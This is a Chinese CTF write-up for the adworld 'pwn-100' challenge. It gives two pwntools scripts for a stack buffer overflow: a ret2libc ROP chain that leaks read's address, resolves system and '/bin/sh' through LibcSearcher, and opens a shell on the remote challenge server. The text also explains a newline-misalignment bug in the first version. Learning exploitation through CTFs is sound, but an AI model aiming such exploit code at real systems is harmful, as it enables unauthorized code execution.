[攻防世界 pwn]——pwn-100

[攻防世界 pwn]——pwn-100

• 题目地址: https://adworld.xctf.org.cn/
• 题目:
  

checksec一下

IDA中


sub_40063D函数的作用就是读入200个字符, 不然不退出循环

思路

leek出来一个地址, 然后找到libc, 计算偏移找到system 和 ‘/bin/sh’ 循环调用, 得到shell

from pwn import *
from LibcSearcher import *
#p = process("./pwn")
p = remote("111.200.241.244",47030)
elf = ELF('./pwn') 
#gdb.attach(p, "b *0x00000000004006B6") 
#context.log_level = 'debug'
read_got = elf.got['read']  
puts_plt = elf.plt['puts']
main_addr = 0x00000000004006B8
pop_rdi = 0x0000000000400763
ret = 0x00000000004004e1payload = 'a' * (0x40 + 0x8) + p64(pop_rdi)  + p64(read_got) + p64(puts_plt) + p64(main_addr)
payload = payload.ljust(200, 'a')
p.sendline(payload)     #		<-----
p.recvline()

read_addr = u64(p.recvuntil('\n')[:-1].ljust(8,'\0'))
print hex(read_addr)
libc = LibcSearcher('read',read_addr)  
libc_base = read_addr - libc.dump('read')  
system_addr = libc_base + libc.dump('system')  
binsh = libc_base + libc.dump('str_bin_sh')  
  
payload = 'a' *(0x40 + 0x8) + p64(pop_rdi) + p64(binsh) + p64(system_addr) 
payload = payload.ljust(200, 'a')
p.sendline(payload)  
p.interactive()  

发现不可以, 思前想后,仔细检查发现也不行, 无奈求救大佬。
注意上面箭头的位置, 问题就出现在这里。我们之前已经输入了200个字符, sendline后面会补上\n。也就是说我们会剩下一个\n。会在接下来的读取中读取。也就是我们下面的payload都错位了。

嘤嘤嘤, 不过gets和scanf函数是需要’\n’, 作为终止符的。

exploit

from pwn import *
from LibcSearcher import *
#p = process("./pwn")
p = remote("111.200.241.244",47030)
elf = ELF('./pwn') 
#gdb.attach(p, "b *0x00000000004006B6") 
#context.log_level = 'debug'
read_got = elf.got['read']  
puts_plt = elf.plt['puts']
main_addr = 0x00000000004006B8
pop_rdi = 0x0000000000400763

payload = 'a' * (0x40 + 0x8) + p64(pop_rdi)  + p64(read_got) + p64(puts_plt) + p64(main_addr)
payload = payload.ljust(200, 'a')
p.send(payload)
p.recvline()

read_addr = u64(p.recvuntil('\n')[:-1].ljust(8,'\0'))
print hex(read_addr)
libc = LibcSearcher('read',read_addr)  
libc_base = read_addr - libc.dump('read')  
system_addr = libc_base + libc.dump('system')  
binsh = libc_base + libc.dump('str_bin_sh')  
  
payload = 'a' *(0x40 + 0x8) + p64(pop_rdi) + p64(binsh) + p64(system_addr) 
payload = payload.ljust(200, 'a')
p.sendline(payload)  
p.interactive()